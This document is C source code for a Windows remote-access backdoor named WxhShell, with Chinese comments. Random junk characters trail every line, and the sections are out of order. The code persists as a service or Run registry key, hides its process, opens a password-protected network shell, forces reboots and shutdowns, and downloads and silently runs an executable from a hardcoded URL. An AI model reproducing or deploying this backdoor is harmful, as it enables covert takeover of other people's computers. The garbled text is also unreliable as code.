    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~pX&>v\T  
    if(Boot(SHUTDOWN)) :BC 0f9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xAjLn*d|N  
    else { vObP(@0AM  
    closesocket(wsh); j<R,}nmD3\  
    ExitThread(0); va95/(  
    } %R7Q`!@8  
    break; V7[Dvg:W  
    } d3&gHt2  
  // 获取shell Jr%u[d>  
  case 's': { *<Fz1~%*  
    CmdShell(wsh); B[S.6 "/H  
    closesocket(wsh); 7iLm_#M  
    ExitThread(0); o-lb/=K+  
    break; }Xrs"u,  
  } OMvwmm  
  // 退出 g4oFUyk{  
  case 'x': { vD[@cm  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); * jT r  
    CloseIt(wsh); #CW]70H`  
    break; eW1$;.^  
    } {5#P1jlT  
  // 离开 dY;^JPT  
  case 'q': { `[jQn;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N#bWMZ"  
    closesocket(wsh); 0{BPT>'  
    WSACleanup(); 5w@  ;B  
    exit(1); DcQ^V4_  
    break; oZA|IF8U0  
        } one^XYy1%  
  } _B 8e 1an  
  } 2 t< dCw  
f"k?Ix\ e  
  // 提示信息 lqF{Y<l  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o~NeS|a  
} l(v$+  
  } l#\z3"b  
!6@xX08z  
  return; h$f/NSct2  
} Mpk^e_9`<  
wf=#w}f  
// shell模块句柄 uZ]B?Z%y#  
int CmdShell(SOCKET sock) bhOyx  
{ 5y(irbk7  
STARTUPINFO si; YRG+I GX  
ZeroMemory(&si,sizeof(si)); ::j'+_9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bsuUl*l)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p87s99  
PROCESS_INFORMATION ProcessInfo; T 2x~fiM  
char cmdline[]="cmd"; n{r+t=X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %,K|v  
  return 0; V~Tjz%<  
} :0CR=]WM  
dsR{ P,!  
// 自身启动模式 H'q&1^w)  
int StartFromService(void) Dr6Br<yi  
{ c~5#)AXMT  
typedef struct ?uU0NKZA  
{ \S=!la_T@m  
  DWORD ExitStatus; 9(ZzwkD'>  
  DWORD PebBaseAddress; htX'bA  
  DWORD AffinityMask; CBnD)1b\  
  DWORD BasePriority; 6KnD(im  
  ULONG UniqueProcessId; hX`WVVoF  
  ULONG InheritedFromUniqueProcessId; fX[,yc;  
}   PROCESS_BASIC_INFORMATION; >, 234ab=d  
)@]-bPnv  
PROCNTQSIP NtQueryInformationProcess; }sPY+ZjV  
:`:<JA3,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R>/M>*C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; thipfS  
Co[[6pt~  
  HANDLE             hProcess; 3[SN[faS  
  PROCESS_BASIC_INFORMATION pbi; ~-']Q0Z  
iV'-j,-i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v0"|J3  
  if(NULL == hInst ) return 0; +GP"9S2%R  
X-:Ni_O\ty  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M\\TQ(B  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2Mu-c:1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k5!k3yI  
e&; c^Z  
  if (!NtQueryInformationProcess) return 0; EOtrrfT&  
Pk8L- [&v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2*K0~ b`  
  if(!hProcess) return 0; 0qG[hxt%  
^>%=/RX  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  KS*W<_I  
*n}9_V%  
  CloseHandle(hProcess); {D."A$AAa  
nz+o8L,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1yX&iO^d  
if(hProcess==NULL) return 0; ;4 ?%k )  
D.*JG7;=Z  
HMODULE hMod; P%ZWm=lg  
char procName[255]; GdG%=+  
unsigned long cbNeeded; |i|YlWQS  
EF"ar  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T?AGQcG  
Y1`.  
  CloseHandle(hProcess); s$H5W`3  
 %ef+Z  
if(strstr(procName,"services")) return 1; // 以服务启动 Mh~T.;f.qq  
V9Au\  
  return 0; // 注册表启动 MYN1zYT6j  
} `(Q58wR}  
YQQ!1 hw  
// 主模块 YgM6z K~  
int StartWxhshell(LPSTR lpCmdLine) ik8e  
{ Y] P}7GZ  
  SOCKET wsl; -\UzL:9>  
BOOL val=TRUE; X@~sIUXx9  
  int port=0; {E6W]Mno  
  struct sockaddr_in door; &cpRB&bf  
sv0kksj  
  if(wscfg.ws_autoins) Install(); `Z%XA>  
*2:)Rf  
port=atoi(lpCmdLine); 5VG@Q%  
M\`6H8aLn  
if(port<=0) port=wscfg.ws_port; 6bHj<6>MX  
.*Hv^_  
  WSADATA data; A]H+rxg  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^<y$+HcH  
< "~k8:=4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~-W.yg6D{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m.V mS7_I  
  door.sin_family = AF_INET; l_,8_u7G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P92:}" )*>  
  door.sin_port = htons(port); g^0  
Z :Kob b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zEO 9TuBO  
closesocket(wsl); Ho \+xX  
return 1; =602%ef\  
} KJ9~"v  
,(c="L4[  
  if(listen(wsl,2) == INVALID_SOCKET) { !kV?h5@Bo  
closesocket(wsl); l" sR\`~  
return 1; PY>j?otD  
} E+~~d6nB  
  Wxhshell(wsl); jWU)y)$  
  WSACleanup(); ?nt6vqaV  
/OxF5 bN2  
return 0; ^eZqsd8a  
jBE= Ij  
} DcOu =Y> 1  
P `2Rte6s  
// 以NT服务方式启动 IloHU6h'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;nh7Elk  
{ |#-Oz#Eg'  
DWORD   status = 0; \[D"W{9l  
  DWORD   specificError = 0xfffffff; Q45rP4mQ  
6b]vHT|p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; pn =S%Qf]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K} ;uH,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ait/|a  
  serviceStatus.dwWin32ExitCode     = 0; QkF-}P%  
  serviceStatus.dwServiceSpecificExitCode = 0; eGguq~s`  
  serviceStatus.dwCheckPoint       = 0; JT_#>',  
  serviceStatus.dwWaitHint       = 0; P AKh v.7  
c69C=WQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;c;;cJc!  
  if (hServiceStatusHandle==0) return; Q7Dkh KT  
fqF1 - %  
status = GetLastError(); Y: byb68  
  if (status!=NO_ERROR) |20p#]0E+  
{ LXK+WB/s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Sk1yend4  
    serviceStatus.dwCheckPoint       = 0; V'6%G:?0a  
    serviceStatus.dwWaitHint       = 0; UhEnW8^bz1  
    serviceStatus.dwWin32ExitCode     = status; wEkW=  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3b[_0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (JF\%Yj/  
    return; 7vHU49DV  
  } =j}00,WH  
Ur@'X-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; FD`V39##  
  serviceStatus.dwCheckPoint       = 0; 3ea6g5kX  
  serviceStatus.dwWaitHint       = 0; sxuYwQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z#Zk)  
} zCco/]h  
Zd~Z`B} &  
// 处理NT服务事件,比如:启动、停止  UnO -?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1$ l3-x  
{ bF}~9WEa  
switch(fdwControl) Nz]\%c/-  
{ U| y+k`  
case SERVICE_CONTROL_STOP: y\@XW*_?  
  serviceStatus.dwWin32ExitCode = 0; E8V,".!+E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @,s[l1P  
  serviceStatus.dwCheckPoint   = 0; qvab >U`  
  serviceStatus.dwWaitHint     = 0; $)\ocsO  
  { /[us;=CM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gb MSO  
  } .IG(Y!cB  
  return; !J+5l&  
case SERVICE_CONTROL_PAUSE: (IEtjv}D  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v4 c_UFEh<  
  break; mT)iN`$Y@  
case SERVICE_CONTROL_CONTINUE: ,rG$JCS'KQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; pET5BMxGG  
  break; paiF ah  
case SERVICE_CONTROL_INTERROGATE: Rr:,'cXGi  
  break; ;zp0,[r  
}; }b~ZpUL!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ymzlRs1^Ct  
} Blf;_e~=[j  
n*'|7#;  
// 标准应用程序主函数 [S*bN!t  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <G#JPt6  
{ a[t2T jB  
 @4H*kA  
// 获取操作系统版本 & XcY|y=W  
OsIsNt=GetOsVer(); -x7b6o>$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]3C7guWz  
jYuH zf  
  // 从命令行安装 *R8q)Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); Bm.%bA>  
K~C*4H:9  
  // 下载执行文件 #uFP eu:  
if(wscfg.ws_downexe) { Xgc@cwd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) NCd_h<}|6F  
  WinExec(wscfg.ws_filenam,SW_HIDE); tE- s/  
} t&0pE(MO/  
- x@mS2  
if(!OsIsNt) { k6. }.  
// 如果时win9x,隐藏进程并且设置为注册表启动 AEhh 6v  
HideProc(); tec CU[O  
StartWxhshell(lpCmdLine); {_l@ws  
} %Q rf ]  
else A2g +m  
  if(StartFromService()) i5q VQo  
  // 以服务方式启动 -AJe\ J 2  
  StartServiceCtrlDispatcher(DispatchTable); 591Syyy  
else "{j4?3f)  
  // 普通方式启动 $#8dtF  
  StartWxhshell(lpCmdLine); .[ NB"\<q  
`/8Dmg  
return 0; %fo+Y+t  
} U,~\}$<I  
!z$.Jcr1  
5fA<I _ D  
h /@G[5E  
=========================================== zT*EpIa+LS  
vc5g 4ud  
:WJ[a#  
VW$Hzx_z  
+r"{$'{^  
6/Q'o5>NL:  
" pMKnA. |  
^ ,d!K2`  
#include <stdio.h>  w:#yu  
#include <string.h> 5_x8!v  
#include <windows.h> #\_N-bVu  
#include <winsock2.h> a4Fe MCvV9  
#include <winsvc.h> S{7A3 x'B  
#include <urlmon.h> lqTTTk  
y}FTLX $  
#pragma comment (lib, "Ws2_32.lib") tQ&.;{5[f  
#pragma comment (lib, "urlmon.lib") >A;Mf*E  
CMI%jyiX  
#define MAX_USER   100 // 最大客户端连接数 JJPU!  
#define BUF_SOCK   200 // sock buffer ~q5"'  
#define KEY_BUFF   255 // 输入 buffer GBFYa6\4sT  
mADq_` j  
#define REBOOT     0   // 重启 d @<(Z7|  
#define SHUTDOWN   1   // 关机 kG^DHEne  
/Q 8E12  
#define DEF_PORT   5000 // 监听端口 x$tx!%,)/S  
2Xys;Dwx  
#define REG_LEN     16   // 注册表键长度 k^:)|Z  
#define SVC_LEN     80   // NT服务名长度 ^y]CHr  
o['HiX  
// 从dll定义API aqSHo2]DX9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); RtwlPz<~S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }K!}6?17T  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p'M5]G  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [#.E=s+&  
N.vt5WP  
// wxhshell配置信息 M,7A|?O  
struct WSCFG { 0&mOu #l  
  int ws_port;         // 监听端口 y1GVno  
  char ws_passstr[REG_LEN]; // 口令 TL-sxED,,D  
  int ws_autoins;       // 安装标记, 1=yes 0=no BqC!78Y/e  
  char ws_regname[REG_LEN]; // 注册表键名 w]J9Kv1)-  
  char ws_svcname[REG_LEN]; // 服务名 GsA/pXx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 XCc /\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jeXv)}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1JM EniB+9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no p%pM3<p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8D@H4O.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }RowAGWL  
Soy!)c]  
}; =i O K($  
'/trM%<  
// default Wxhshell configuration B"rnSui  
struct WSCFG wscfg={DEF_PORT, yV,ki^^  
    "xuhuanlingzhe", >RZ]t[)y  
    1, {7.."@Ob<v  
    "Wxhshell", (n_lu= E70  
    "Wxhshell", +P:xB0Tm D  
            "WxhShell Service", KHV5V3q4  
    "Wrsky Windows CmdShell Service", KCu@5`p  
    "Please Input Your Password: ", >qk[/\^O  
  1, ^x-vOG lR  
  "http://www.wrsky.com/wxhshell.exe", Cgq/#2BM  
  "Wxhshell.exe" C8 9c2  
    }; PY- 1 oP  
= _X#JP79  
// 消息定义模块 Q\|72NWS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2#:/C:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; S{' /=Px+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ErIAS6HS'  
char *msg_ws_ext="\n\rExit."; U ]jHe  
char *msg_ws_end="\n\rQuit."; (N{Rda*8  
char *msg_ws_boot="\n\rReboot..."; 3omFd#EP  
char *msg_ws_poff="\n\rShutdown..."; " uf*?m3  
char *msg_ws_down="\n\rSave to "; +aR.t@D+"Y  
qDHiyg^u  
char *msg_ws_err="\n\rErr!"; {\3k(NdEX  
char *msg_ws_ok="\n\rOK!"; /I&Hq7SW`  
`B'*ln'r5  
char ExeFile[MAX_PATH]; $8zsqd 4?  
int nUser = 0; K =T]@ix$  
HANDLE handles[MAX_USER]; &~gqEl6RF  
int OsIsNt; BB@I|)9O(  
WJ":BK{NM  
SERVICE_STATUS       serviceStatus; U+:oy:mz  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [!1z; /  
29]-s Utqv  
// 函数声明 3 r4QB  
int Install(void); k]?M^jrm  
int Uninstall(void); tl9=u-D13@  
int DownloadFile(char *sURL, SOCKET wsh); Mwp[?#1j  
int Boot(int flag); y"q7Gx*^j  
void HideProc(void); \9k$pC+l  
int GetOsVer(void); j}$dYbf$  
int Wxhshell(SOCKET wsl); WwG +Xa  
void TalkWithClient(void *cs); jR-DH]@y  
int CmdShell(SOCKET sock); &U q++f6  
int StartFromService(void); o_; pEe  
int StartWxhshell(LPSTR lpCmdLine); J%}9"Q5  
<q|IP_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5y-8_)y8o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); AKs=2N> 7  
C$Pe<C#  
// 数据结构和表定义 2ED^uc: 0S  
SERVICE_TABLE_ENTRY DispatchTable[] = %{qJkjG  
{ NJK?5{H'  
{wscfg.ws_svcname, NTServiceMain}, hpp>+=  
{NULL, NULL} Xb +)@Y4h  
}; *%< Ku&C  
YF/@]6j  
// 自我安装 {T|sU\|Q  
int Install(void) cfI5KLG~#  
{ [GKSQt{)  
  char svExeFile[MAX_PATH]; Cx$C+  
  HKEY key; 0w^\sf%s  
  strcpy(svExeFile,ExeFile); ZK,}3b{  
M7z>ugk"  
// 如果是win9x系统,修改注册表设为自启动 ]yu,YZ@7  
if(!OsIsNt) { L$zI_ z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !#cZ!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KQ'fp:5|/@  
  RegCloseKey(key); jCdKau&9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HRS|VC$tz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SjgF&LD  
  RegCloseKey(key); \%\b* OO  
  return 0; 4 4%jz-m  
    } k#"Pv"  
  } Ij; =  
} _\yrR.HIa  
else { h $)t hW  
2}`Q9?  
// 如果是NT以上系统,安装为系统服务 DF D5">g@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fq-$u;~h  
if (schSCManager!=0) 63:0Vt>hZ^  
{  /;LteBoY  
  SC_HANDLE schService = CreateService k 1;,eB  
  ( [?TQ!l}8A  
  schSCManager, )US|&> o8  
  wscfg.ws_svcname, z{T2! w~[  
  wscfg.ws_svcdisp, G"!YV#"~  
  SERVICE_ALL_ACCESS, 'TclH80  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~/?JRL=  
  SERVICE_AUTO_START, PRm Z 3  
  SERVICE_ERROR_NORMAL, )Y':u_Lo  
  svExeFile, tV2SX7N  
  NULL, VuTH"br6  
  NULL, {m5tgVi&  
  NULL, g*8LdH 6mq  
  NULL, n =v4m_e  
  NULL %8iA0t+  
  ); QrDrd A  
  if (schService!=0) g;en_~g3j  
  { =y>P>&sI  
  CloseServiceHandle(schService); 0@a6r=`el  
  CloseServiceHandle(schSCManager); rC]jz$sle  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Wo5G23:xz  
  strcat(svExeFile,wscfg.ws_svcname); =!NYvwg6;o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  N3^pFy`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L;.6j*E*  
  RegCloseKey(key); HN>eS Y+  
  return 0; |7WzTz  
    } 6$wS7Cu  
  } EK. L>3  
  CloseServiceHandle(schSCManager); }]sI?&xB  
} ><iEVrpN  
} #I9|>XE1  
@%J?[PG  
return 1; G\h8j*o  
} QQ@, v@j5  
G}i\UXFE  
// 自我卸载 , 6\i  
int Uninstall(void) >VP\@xt(R[  
{ #V-qS/ q"  
  HKEY key; 9,5v%HZ  
ri~dWx  
if(!OsIsNt) { `9Ngax=_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mm%w0dOb"  
  RegDeleteValue(key,wscfg.ws_regname); G1B~?i2$ ?  
  RegCloseKey(key); G~)jk+Qq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'ntb.S)  
  RegDeleteValue(key,wscfg.ws_regname); en7i})v\".  
  RegCloseKey(key); H^"BK-`hs  
  return 0; )<4o"R:*  
  } W"Dj+/uS  
} 9.e?<u*-z  
} n]4)~ZIAU  
else { heZ)+}U~  
P&| =  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s9'g'O5  
if (schSCManager!=0) DMcvu*A  
{ If6wkY6sR  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); QHr 3J  
  if (schService!=0) aGp <%d  
  { 3f's>+,#%  
  if(DeleteService(schService)!=0) { h0n0Dc{4  
  CloseServiceHandle(schService); k}>l+_*+7  
  CloseServiceHandle(schSCManager); 05*_h0}  
  return 0; )Tngtt D  
  } w;H  
  CloseServiceHandle(schService); -j3 -H&  
  } _KmpC>J+  
  CloseServiceHandle(schSCManager); <)Kjf/x  
} T'XAcH  
} oiO3]P]P  
2EE/xnwX  
return 1; F)e*w:D  
} "+nURdicO  
l=9 &  
// 从指定url下载文件 !dhZs?/UI  
int DownloadFile(char *sURL, SOCKET wsh) 9 K$F.{cx  
{ %9mB4Fc6b)  
  HRESULT hr; B>X+eK  
char seps[]= "/"; a}E8A DyC  
char *token; TOMvJ>bF  
char *file; nq/xD;q  
char myURL[MAX_PATH]; b,T=0W  
char myFILE[MAX_PATH]; JPQ02&e  
2l5@gDk5  
strcpy(myURL,sURL); `H/HLCt  
  token=strtok(myURL,seps); w?M*n<) O  
  while(token!=NULL) w#PaN83+  
  { 7M;Y#=sR  
    file=token; N0 ?O*a  
  token=strtok(NULL,seps); 8"8{Nf-"  
  } h:bs/q+-  
yvDzxu  
GetCurrentDirectory(MAX_PATH,myFILE); 5jNBt>.0  
strcat(myFILE, "\\"); aE{b65'Dt  
strcat(myFILE, file); iT^lk'?{O  
  send(wsh,myFILE,strlen(myFILE),0); AU'{aC+p  
send(wsh,"...",3,0); *y(2BrL>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I}:>M!w  
  if(hr==S_OK) [c86b  
return 0; 0l 3RwWj  
else s vo^#V~h'  
return 1; kI[EG<N1k  
H50nR$$<*Y  
} 3J,/bgL5  
J.?p?-"  
// 系统电源模块 ?N|PgNu X  
int Boot(int flag) H~V=TEj  
{ :cC`wX$  
  HANDLE hToken; P{>T?-Hj  
  TOKEN_PRIVILEGES tkp; ^E:;8h4$9  
=u;q98r  
  if(OsIsNt) { N@d4)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ` jUn  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _v $mGZpGY  
    tkp.PrivilegeCount = 1; A1'IK.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'M'LJ.,"/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wy -!1wd  
if(flag==REBOOT) { El+]}D"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wK\SeX  
  return 0; 3QR-8  
} 3K0J6/mc  
else { fV5#k@,")  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 15s?QSKj  
  return 0; 1gm{.*G  
} _%L3?PpF"  
  } X@D3  
  else { Ys3C'Gc  
if(flag==REBOOT) { WYzY#-j  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X|q0m3jt  
  return 0; fsmH];"GD  
} d*AV(g#B  
else { ]D]K_`!K  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :8QG$Ua1  
  return 0; .ZJh-cd  
} e| l?NXRX  
} 2'}2r ~6  
=VSieh  
return 1; s3knh&'zb  
} i*; V4zh  
dJ;;l7":~  
// win9x进程隐藏模块 G?V3lQI1n  
void HideProc(void) pucHB<R@bL  
{ V\xQM;  
;s!H  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); w##Fpv<m  
  if ( hKernel != NULL ) c ~C W-%wN  
  { * K7L5.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZuhT \l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jGWLYI=V2  
    FreeLibrary(hKernel); JjCf<ktE.  
  } KWYG\#S0]  
}B.C#Y$@  
return; <w A_2S Y  
} ditzl(L   
7/yd@#$X  
// 获取操作系统版本 @rF\6I  
int GetOsVer(void) :({<"H)!'  
{ kO#`m ]  
  OSVERSIONINFO winfo; g\Z k*5(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tv{.iM|V c  
  GetVersionEx(&winfo); D0P% .r"v  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) WI9.?(5q  
  return 1; z~_\onC  
  else @W,Y_8:  
  return 0; #(H_w4  
} 5a&w M  
}X?*o `sW  
// 客户端句柄模块 buFtLPe  
int Wxhshell(SOCKET wsl) [ b W=>M  
{ 1L|(:m+  
  SOCKET wsh; K_aN7?#.v`  
  struct sockaddr_in client; i<?4iwX%i*  
  DWORD myID; C"{on%  
SMFW]I2T/  
  while(nUser<MAX_USER) 5HN<*u%z  
{ l1[IXw?  
  int nSize=sizeof(client); ("6W.i>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H-W) Tq_?-  
  if(wsh==INVALID_SOCKET) return 1; a*hThr+$M  
X A|`wAGP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z,)sS<t(  
if(handles[nUser]==0) &^H "T6  
  closesocket(wsh); h~@+M5r,  
else abnd U,s  
  nUser++; #77UKYj2L-  
  } U VKN#"_{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^4[[+r  
%np#Bv-L  
  return 0; "Zk6B"o)  
} .7FI%  
S+G)&<a^  
// 关闭 socket [//f BO  
void CloseIt(SOCKET wsh) \sd"iMEi  
{ bEKLameKv  
closesocket(wsh); ^j %UZ  
nUser--; nS4S[|w"  
ExitThread(0); E2IVR]C2^  
} q1Sm#_7  
}D+8K  
// 客户端请求句柄 zf~zYZSr  
void TalkWithClient(void *cs) t] wM_]+  
{ @45H8|:k  
[u80-x<  
  SOCKET wsh=(SOCKET)cs; (do=o&9p m  
  char pwd[SVC_LEN]; hhGpB$A  
  char cmd[KEY_BUFF]; %b;+/s2W  
char chr[1]; j!\0Fyr  
int i,j; u2]g1XjeG  
#:|?t&On  
  while (nUser < MAX_USER) { JZzf,G:  
z-5#bOABW  
if(wscfg.ws_passstr) { 6sl<Z=E#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VWy:U#;+8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lg >AWTW[  
  //ZeroMemory(pwd,KEY_BUFF); lM*O+k  
      i=0; 2H[a Y%1T  
  while(i<SVC_LEN) { =7fh1XnW  
"ru1;I  
  // 设置超时 (N|xDl &;  
  fd_set FdRead; &o@5%Rz2/  
  struct timeval TimeOut; k+$4?/A  
  FD_ZERO(&FdRead); PAV2w_X~  
  FD_SET(wsh,&FdRead); ~iZF~PQ1_  
  TimeOut.tv_sec=8; HDyZzjgG  
  TimeOut.tv_usec=0; \STvBI?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Qu FCc1Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X.l"f'`l  
~q(C j"7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xm5FQ) T  
  pwd=chr[0]; 0t?<6-3`/  
  if(chr[0]==0xd || chr[0]==0xa) { 9Fx z!-9m  
  pwd=0; hX%v`8  
  break;  /kU@S  
  } gsWlTI  
  i++; #.+*G`m  
    } XhAcC  
}]+}Tipd  
  // 如果是非法用户,关闭 socket >5Oy^u6Ly  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $Wzv$4;  
} [KI`e  
/%9p9$kFot  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); AdOAh y2H  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *9Js:z7I  
#4 &N0IG  
while(1) { 1r& ?J.z25  
C$G88hesn  
  ZeroMemory(cmd,KEY_BUFF); Q EGanpz  
({ kGK0  
      // 自动支持客户端 telnet标准   S aet";pf`  
  j=0; h$ iyclX  
  while(j<KEY_BUFF) { jQeE07g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B9)qv>m  
  cmd[j]=chr[0]; p]|ME  
  if(chr[0]==0xa || chr[0]==0xd) { ":#x\;  
  cmd[j]=0; w^E]N  
  break; GdeR#%z  
  } 4*XP;`  
  j++; A|_%'8  
    } [I<'E LX  
IOZ|85u =  
  // 下载文件 :$Q]U2$mPS  
  if(strstr(cmd,"http://")) { OGi4m |  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); | ,l=v`/  
  if(DownloadFile(cmd,wsh)) sFM>gG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); n[:AV  
  else Q0uO49sg  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pD_eo6xX  
  } xiOrk  
  else { X`v79`g_  
2X;0z$  
